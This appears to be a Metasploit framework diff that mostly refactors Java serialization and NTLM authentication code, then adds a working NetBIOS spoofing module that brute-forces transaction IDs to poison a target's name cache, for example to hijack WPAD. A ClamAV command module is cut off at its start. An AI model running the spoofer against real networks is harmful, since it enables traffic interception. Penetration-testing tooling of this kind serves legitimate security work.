||||
when 'double'
|
||||
value_raw = io.read(8)
|
||||
unless value_raw && value_raw.length == 8
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('double', value = value_raw.unpack('G')[0])
|
||||
when 'float'
|
||||
value_raw = io.read(4)
|
||||
unless value_raw && value_raw.length == 4
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('float', value_raw.unpack('g')[0])
|
||||
when 'int'
|
||||
value_raw = io.read(4)
|
||||
unless value_raw && value_raw.length == 4
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('int', value_raw.unpack('l>')[0])
|
||||
when 'long'
|
||||
value_raw = io.read(8)
|
||||
unless value_raw && value_raw.length == 8
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('long', value_raw.unpack('q>')[0])
|
||||
when 'short'
|
||||
value_raw = io.read(2)
|
||||
unless value_raw && value_raw.length == 2
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('short', value_raw.unpack('s>')[0])
|
||||
when 'boolean'
|
||||
value_raw = io.read(1)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
|
||||
value.push('boolean', value_raw.unpack('c')[0])
|
||||
else
|
||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray type'
|
||||
end
|
||||
|
||||
value
|
||||
end
|
||||
|
||||
# Serializes an class_data value
|
||||
#
|
||||
# @param value [Array] the type and value to serialize
|
||||
# @return [String] the serialized value
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
|
||||
def encode_value(value)
|
||||
res = ''
|
||||
|
||||
case value[0]
|
||||
when 'byte'
|
||||
res = [value[1]].pack('c')
|
||||
when 'char'
|
||||
res = [value[1]].pack('s>')
|
||||
when 'double'
|
||||
res = [value[1]].pack('G')
|
||||
when 'float'
|
||||
res = [value[1]].pack('g')
|
||||
when 'int'
|
||||
res = [value[1]].pack('l>')
|
||||
when 'long'
|
||||
res = [value[1]].pack('q>')
|
||||
when 'short'
|
||||
res = [value[1]].pack('s>')
|
||||
when 'boolean'
|
||||
res = [value[1]].pack('c')
|
||||
else
|
||||
raise Rex::Java::Serialization::EncodeError, 'Unsupported NewArray type'
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,12 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
class NullReference < Element
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,109 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a ProxyClassDesc representation
|
||||
class ProxyClassDesc < Element
|
||||
|
||||
include Rex::Java::Serialization
|
||||
|
||||
# @!attribute interfaces
|
||||
# @return [Array] An array of interface names
|
||||
attr_accessor :interfaces
|
||||
# @!attribute class_annotation
|
||||
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
|
||||
attr_accessor :class_annotation
|
||||
# @!attribute super_class
|
||||
# @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description
|
||||
attr_accessor :super_class
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.interfaces = []
|
||||
self.class_annotation = nil
|
||||
self.super_class = nil
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::ProxyClassDesc
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
|
||||
interfaces_length = decode_interfaces_length(io)
|
||||
interfaces_length.times do
|
||||
interface = Utf.decode(io, stream)
|
||||
self.interfaces << interface
|
||||
end
|
||||
self.class_annotation = Annotation.decode(io, stream)
|
||||
self.super_class = ClassDesc.decode(io, stream)
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::ProxyClassDesc
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
|
||||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ProxyClassDesc'
|
||||
end
|
||||
encoded = ''
|
||||
encoded << [interfaces.length].pack('N')
|
||||
interfaces.each do |interface|
|
||||
encoded << interface.encode
|
||||
end
|
||||
encoded << class_annotation.encode
|
||||
encoded << super_class.encode
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
str = '[ '
|
||||
interfaces_str = []
|
||||
interfaces.each do |interface|
|
||||
interfaces_str << interface.to_s
|
||||
end
|
||||
str << "#{interfaces_str.join(', ')} ]"
|
||||
|
||||
case super_class.description
|
||||
when NewClassDesc
|
||||
str << ", @super_class: #{super_class.description.class_name.to_s}"
|
||||
when Reference
|
||||
str << ", @super_class: #{super_class.description.to_s}"
|
||||
end
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Deserializes the number of interface names
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Fixnum] if deserialization is possible
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_interfaces_length(io)
|
||||
fields_length = io.read(4)
|
||||
if fields_length.nil? || fields_length.length != 4
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ProxyClassDesc'
|
||||
end
|
||||
|
||||
fields_length.unpack('N')[0]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,61 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a Java Reference representation.
|
||||
class Reference < Element
|
||||
|
||||
# @!attribute contents
|
||||
# @return [Fixnum] The stream handle being referenced
|
||||
attr_accessor :handle
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.handle = 0
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::Reference
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
handle_raw = io.read(4)
|
||||
unless handle_raw && handle_raw.length == 4
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Reference'
|
||||
end
|
||||
|
||||
self.handle = handle_raw.unpack('N')[0]
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::Reference
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
if handle < BASE_WIRE_HANDLE
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Reference'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
encoded << [handle].pack('N')
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
"0x#{handle.to_s(16)}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,12 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
class Reset < Element
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,123 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a Java Stream representation
|
||||
class Stream < Element
|
||||
|
||||
include Rex::Java::Serialization::Model::Contents
|
||||
|
||||
# @!attribute magic
|
||||
# @return [Fixnum] The stream signature
|
||||
attr_accessor :magic
|
||||
# @!attribute version
|
||||
# @return [Fixnum] The stream version
|
||||
attr_accessor :version
|
||||
# @!attribute contents
|
||||
# @return [Array] The stream contents
|
||||
attr_accessor :contents
|
||||
# @!attribute references
|
||||
# @return [Array] The stream objects to be referenced through handles
|
||||
attr_accessor :references
|
||||
|
||||
def initialize(stream = nil)
|
||||
super(nil)
|
||||
self.magic = STREAM_MAGIC
|
||||
self.version = STREAM_VERSION
|
||||
self.contents = []
|
||||
self.references = []
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::Stream
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.magic = decode_magic(io)
|
||||
self.version = decode_version(io)
|
||||
|
||||
until io.eof?
|
||||
content = decode_content(io, self)
|
||||
self.contents << content
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::Stream
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
encoded = ''
|
||||
encoded << [magic].pack('n')
|
||||
encoded << [version].pack('n')
|
||||
contents.each do |content|
|
||||
encoded << encode_content(content)
|
||||
end
|
||||
encoded
|
||||
end
|
||||
|
||||
# Adds an element to the references array
|
||||
#
|
||||
# @param ref [Rex::Java::Serialization::Model::Element] the object to save as reference dst
|
||||
def add_reference(ref)
|
||||
self.references.push(ref)
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
str = "@magic: 0x#{magic.to_s(16)}\n"
|
||||
str << "@version: #{version}\n"
|
||||
str << "@contents: [\n"
|
||||
contents.each do |content|
|
||||
str << " #{print_content(content)}\n"
|
||||
end
|
||||
str << "]\n"
|
||||
str << "@references: [\n"
|
||||
references.each do |ref|
|
||||
str << " [#{(references.index(ref) + BASE_WIRE_HANDLE).to_s(16)}] #{print_content(ref)}\n"
|
||||
end
|
||||
str << "]\n"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Deserializes the magic stream value
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [String] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_magic(io)
|
||||
magic = io.read(2)
|
||||
|
||||
unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
|
||||
end
|
||||
|
||||
STREAM_MAGIC
|
||||
end
|
||||
|
||||
# Deserializes the version stream
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Fixnum] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_version(io)
|
||||
version = io.read(2)
|
||||
unless version && version.unpack('n')[0] == STREAM_VERSION
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
|
||||
end
|
||||
|
||||
STREAM_VERSION
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,69 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a Utf string representation
|
||||
class Utf < Element
|
||||
|
||||
# @!attribute length
|
||||
# @return [Integer] the length of the string
|
||||
attr_accessor :length
|
||||
# @!attribute contents
|
||||
# @return [String] the contents of the string
|
||||
attr_accessor :contents
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
# @param contents [String] the contents of the utf string
|
||||
def initialize(stream = nil, contents = '')
|
||||
super(stream)
|
||||
self.contents = contents
|
||||
self.length = contents.length
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::Utf
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
raw_length = io.read(2)
|
||||
if raw_length.nil? || raw_length.length != 2
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
|
||||
end
|
||||
self.length = raw_length.unpack('n')[0]
|
||||
|
||||
if length == 0
|
||||
self.contents = ''
|
||||
else
|
||||
self.contents = io.read(length)
|
||||
if contents.nil? || contents.length != length
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
|
||||
end
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::Utf
|
||||
#
|
||||
# @return [String]
|
||||
def encode
|
||||
encoded = [length].pack('n')
|
||||
encoded << contents
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
contents
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -3,10 +3,6 @@ require 'rex/socket'
|
|||
require 'rex/proto/http'
|
||||
require 'rex/text'
|
||||
require 'digest'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/utils'
|
||||
require 'rex/proto/ntlm/exceptions'
|
||||
|
||||
require 'rex/proto/http/client_request'
|
||||
|
||||
|
@ -313,7 +309,6 @@ class Client
|
|||
# Send a series of requests to complete Digest Authentication
|
||||
#
|
||||
# @param opts [Hash] the options used to build an HTTP request
|
||||
#
|
||||
# @return [Response] the last valid HTTP response we received
|
||||
def digest_auth(opts={})
|
||||
@nonce_count = 0
|
||||
|
@ -457,13 +452,6 @@ class Client
|
|||
#
|
||||
# @return [Response] the last valid HTTP response we received
|
||||
def negotiate_auth(opts={})
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => self.config['usentlm2_session'],
|
||||
:use_ntlmv2 => self.config['use_ntlmv2'],
|
||||
:send_lm => self.config['send_lm'],
|
||||
:send_ntlm => self.config['send_ntlm']
|
||||
}
|
||||
|
||||
to = opts['timeout'] || 20
|
||||
opts['username'] ||= ''
|
||||
|
@ -472,28 +460,27 @@ class Client
|
|||
if opts['provider'] and opts['provider'].include? 'Negotiate'
|
||||
provider = "Negotiate "
|
||||
else
|
||||
provider = 'NTLM '
|
||||
provider = "NTLM "
|
||||
end
|
||||
|
||||
opts['method']||= 'GET'
|
||||
opts['headers']||= {}
|
||||
|
||||
ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+6)
|
||||
domain_name = self.config['domain']
|
||||
|
||||
b64_blob = Rex::Text::encode_base64(
|
||||
::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init(
|
||||
domain_name,
|
||||
workstation_name,
|
||||
ntlmssp_flags
|
||||
))
|
||||
|
||||
ntlm_message_1 = provider + b64_blob
|
||||
ntlm_client = ::Net::NTLM::Client.new(
|
||||
opts['username'],
|
||||
opts['password'],
|
||||
workstation: workstation_name,
|
||||
domain: domain_name,
|
||||
)
|
||||
type1 = ntlm_client.init_context
|
||||
|
||||
begin
|
||||
# First request to get the challenge
|
||||
opts['headers']['Authorization'] = ntlm_message_1
|
||||
opts['headers']['Authorization'] = provider + type1.encode64
|
||||
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
|
@ -506,47 +493,10 @@ class Client
|
|||
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
|
||||
return resp unless ntlm_challenge
|
||||
|
||||
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
|
||||
blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2)
|
||||
|
||||
challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
default_name = blob_data[:default_name] || '' #netbios name
|
||||
default_domain = blob_data[:default_domain] || '' #netbios domain
|
||||
dns_host_name = blob_data[:dns_host_name] || '' #dns name
|
||||
dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time
|
||||
|
||||
spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname}
|
||||
|
||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses(
|
||||
opts['username'],
|
||||
opts['password'],
|
||||
challenge_key,
|
||||
domain_name,
|
||||
default_name,
|
||||
default_domain,
|
||||
dns_host_name,
|
||||
dns_domain_name,
|
||||
chall_MsvAvTimestamp,
|
||||
spnopt,
|
||||
ntlm_options
|
||||
)
|
||||
|
||||
ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth(
|
||||
domain_name,
|
||||
workstation_name,
|
||||
opts['username'],
|
||||
resp_lm,
|
||||
resp_ntlm,
|
||||
'',
|
||||
ntlmssp_flags
|
||||
)
|
||||
|
||||
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
|
||||
ntlm_message_3 = ntlm_client.init_context(ntlm_challenge)
|
||||
|
||||
# Send the response
|
||||
opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}"
|
||||
opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}"
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to, true)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
|
@ -558,6 +508,7 @@ class Client
|
|||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Read a response from the server
|
||||
#
|
||||
|
@ -713,7 +664,6 @@ protected
|
|||
|
||||
attr_accessor :hostname, :port # :nodoc:
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,6 +4,8 @@ module Proto
|
|||
module SMB
|
||||
class Client
|
||||
|
||||
require 'net/ntlm'
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/struct2'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
@ -623,16 +625,15 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
|
||||
# Authenticate and establish a session
|
||||
def session_setup(*args)
|
||||
|
||||
def session_setup(user='', pass='', domain='', do_recv=true)
|
||||
if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/)
|
||||
|
||||
if (self.challenge_key)
|
||||
return self.session_setup_no_ntlmssp(*args)
|
||||
return self.session_setup_no_ntlmssp(user, pass, domain, do_recv)
|
||||
end
|
||||
|
||||
if ( self.extended_security )
|
||||
return self.session_setup_with_ntlmssp(*args)
|
||||
return self.session_setup_with_ntlmssp(user, pass, domain, nil, do_recv)
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -831,7 +832,16 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
name = Rex::Text.rand_text_alphanumeric(16)
|
||||
end
|
||||
|
||||
blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name, ntlmssp_flags)
|
||||
@ntlm_client = Net::NTLM::Client.new(
|
||||
user,
|
||||
pass,
|
||||
workstation: name,
|
||||
domain: domain,
|
||||
flags: ntlmssp_flags
|
||||
)
|
||||
|
||||
|
||||
blob = @ntlm_client.init_context.serialize
|
||||
|
||||
native_data = ''
|
||||
native_data << self.native_os + "\x00"
|
||||
|
@ -892,37 +902,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
# Save the temporary UserID for use in the next request
|
||||
temp_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
# Get default data
|
||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(blob)
|
||||
self.challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
#netbios name
|
||||
self.default_name = blob_data[:default_name] || ''
|
||||
#netbios domain
|
||||
self.default_domain = blob_data[:default_domain] || ''
|
||||
#dns name
|
||||
self.dns_host_name = blob_data[:dns_host_name] || ''
|
||||
#dns domain
|
||||
self.dns_domain_name = blob_data[:dns_domain_name] || ''
|
||||
#Client time
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
||||
|
||||
|
||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, self.challenge_key, domain,
|
||||
default_name, default_domain, dns_host_name,
|
||||
dns_domain_name, chall_MsvAvTimestamp ,
|
||||
self.spnopt, ntlm_options)
|
||||
enc_session_key = ''
|
||||
self.sequence_counter = 0
|
||||
|
||||
if self.require_signing
|
||||
self.signing_key, enc_session_key, ntlmssp_flags = NTLM_UTILS.create_session_key(ntlmssp_flags, server_ntlmssp_flags, user, pass, domain,
|
||||
self.challenge_key, client_challenge, ntlm_cli_challenge,
|
||||
ntlm_options)
|
||||
end
|
||||
|
||||
# Create the security blob data
|
||||
blob = NTLM_UTILS.make_ntlmssp_secblob_auth(domain, name, user, resp_lm, resp_ntlm, enc_session_key, ntlmssp_flags)
|
||||
type3 = @ntlm_client.init_context([blob].pack('m'))
|
||||
type3_blob = type3.serialize
|
||||
self.signing_key = @ntlm_client.session_key
|
||||
|
||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||
self.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
@ -944,8 +926,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['Capabilities'] = 0x8000d05c
|
||||
pkt['Payload'].v['SessionKey'] = self.session_id
|
||||
pkt['Payload'].v['SecurityBlobLen'] = blob.length
|
||||
pkt['Payload'].v['Payload'] = blob + native_data
|
||||
pkt['Payload'].v['SecurityBlobLen'] = type3_blob.length
|
||||
pkt['Payload'].v['Payload'] = type3_blob + native_data
|
||||
|
||||
# NOTE: if do_recv is set to false, we cant reach here...
|
||||
self.smb_send(pkt.to_s)
|
||||
|
@ -1771,7 +1753,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
# Remove the NetBIOS header
|
||||
resp_rpkt.slice!(0, 4)
|
||||
|
||||
resp_parm = resp_rpkt[poff, pcnt]
|
||||
_resp_parm = resp_rpkt[poff, pcnt]
|
||||
resp_data = resp_rpkt[doff, dcnt]
|
||||
return resp_data
|
||||
|
||||
|
@ -1797,7 +1779,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
# Remove the NetBIOS header
|
||||
resp_rpkt.slice!(0, 4)
|
||||
|
||||
resp_parm = resp_rpkt[poff, pcnt]
|
||||
_resp_parm = resp_rpkt[poff, pcnt]
|
||||
resp_data = resp_rpkt[doff, dcnt]
|
||||
return resp_data
|
||||
|
||||
|
@ -2030,9 +2012,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
# Creates a new directory on the mounted tree
|
||||
def create_directory(name)
|
||||
files = { }
|
||||
parm = [0].pack('V') + name + "\x00"
|
||||
resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '')
|
||||
resp
|
||||
end
|
||||
|
||||
# public read/write methods
|
||||
|
|
|
@ -75,6 +75,8 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
spec.add_runtime_dependency 'network_interface'
|
||||
# NTLM authentication
|
||||
spec.add_runtime_dependency 'rubyntlm'
|
||||
# Needed by anemone crawler
|
||||
spec.add_runtime_dependency 'nokogiri'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
|
@ -110,13 +112,14 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'rex-zip'
|
||||
# Library for parsing offline Windows Registry files
|
||||
spec.add_runtime_dependency 'rex-registry'
|
||||
# Library for parsing Java serialized streams
|
||||
spec.add_runtime_dependency 'rex-java'
|
||||
|
||||
#
|
||||
# Protocol Libraries
|
||||
#
|
||||
spec.add_runtime_dependency 'net-ssh'
|
||||
|
||||
|
||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||
unless Gem.win_platform?
|
||||
|
|
|
@ -0,0 +1,104 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NetBIOS Response Brute Force Spoof (Direct)',
|
||||
'Description' => %q{
|
||||
This module continuously spams NetBIOS responses to a target for given hostname,
|
||||
causing the target to cache a malicious address for this name. On high-speed local
|
||||
networks, the PPSRATE value should be increased to speed up this attack. As an
|
||||
example, a value of around 30,000 is almost 100% successful when spoofing a
|
||||
response for a 'WPAD' lookup. Distant targets may require more time and lower
|
||||
rates for a successful attack.
|
||||
},
|
||||
'Authors' => [
|
||||
'vvalien', # Metasploit Module (post)
|
||||
'hdm', # Metasploit Module
|
||||
'tombkeeper' # Related Work
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(137),
|
||||
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),
|
||||
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),
|
||||
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
def netbios_spam
|
||||
payload =
|
||||
"\xff\xff" + # TX ID (will brute force this)
|
||||
"\x85\x00" + # Flags = response + authoratative + recursion desired
|
||||
"\x00\x00" + # Questions = 0
|
||||
"\x00\x01" + # Answer RRs = 1
|
||||
"\x00\x00" + # Authority RRs = 0
|
||||
"\x00\x00" + # Additional RRs = 0
|
||||
"\x20" +
|
||||
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +
|
||||
"\x00" +
|
||||
"\x00\x20" + # Type = NB
|
||||
"\x00\x01" + # Class = IN
|
||||
"\x00\x04\x93\xe0" + # TTL long time
|
||||
"\x00\x06" + # Datalength = 6
|
||||
"\x00\x00" + # Flags B-node, unique
|
||||
Rex::Socket.addr_aton(@fake_addr)
|
||||
|
||||
stime = Time.now.to_f
|
||||
pcnt = 0
|
||||
pps = 0
|
||||
|
||||
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
|
||||
|
||||
live = true
|
||||
while live
|
||||
0.upto(65535) do |txid|
|
||||
begin
|
||||
payload[0,2] = [txid].pack("n")
|
||||
@sock.put(payload)
|
||||
pcnt += 1
|
||||
|
||||
pps = (pcnt / (Time.now.to_f - stime)).to_i
|
||||
if pps > @targ_rate
|
||||
sleep(0.01)
|
||||
end
|
||||
rescue Errno::ECONNREFUSED
|
||||
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
|
||||
live = false
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Cleaning up...")
|
||||
end
|
||||
|
||||
def run
|
||||
connect_udp
|
||||
@sock = self.udp_sock
|
||||
|
||||
@targ_addr = rhost
|
||||
@targ_port = rport
|
||||
@targ_rate = datastore['PPSRATE']
|
||||
@fake_name = datastore['NBNAME']
|
||||
@fake_addr = datastore['NBADDR']
|
||||
|
||||
netbios_spam
|
||||
|
||||
disconnect_udp
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,57 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ClamAV Remote Command Transmitter',
|
||||
'Description' => %q(
|
||||
In certain configurations, ClamAV will bind to all addresses and listen for commands.
|
||||
This module sends properly-formatted commands to the ClamAV daemon if it is in such a
|
||||
configuration.
|
||||
),
|
||||
'Author' => [
|
||||
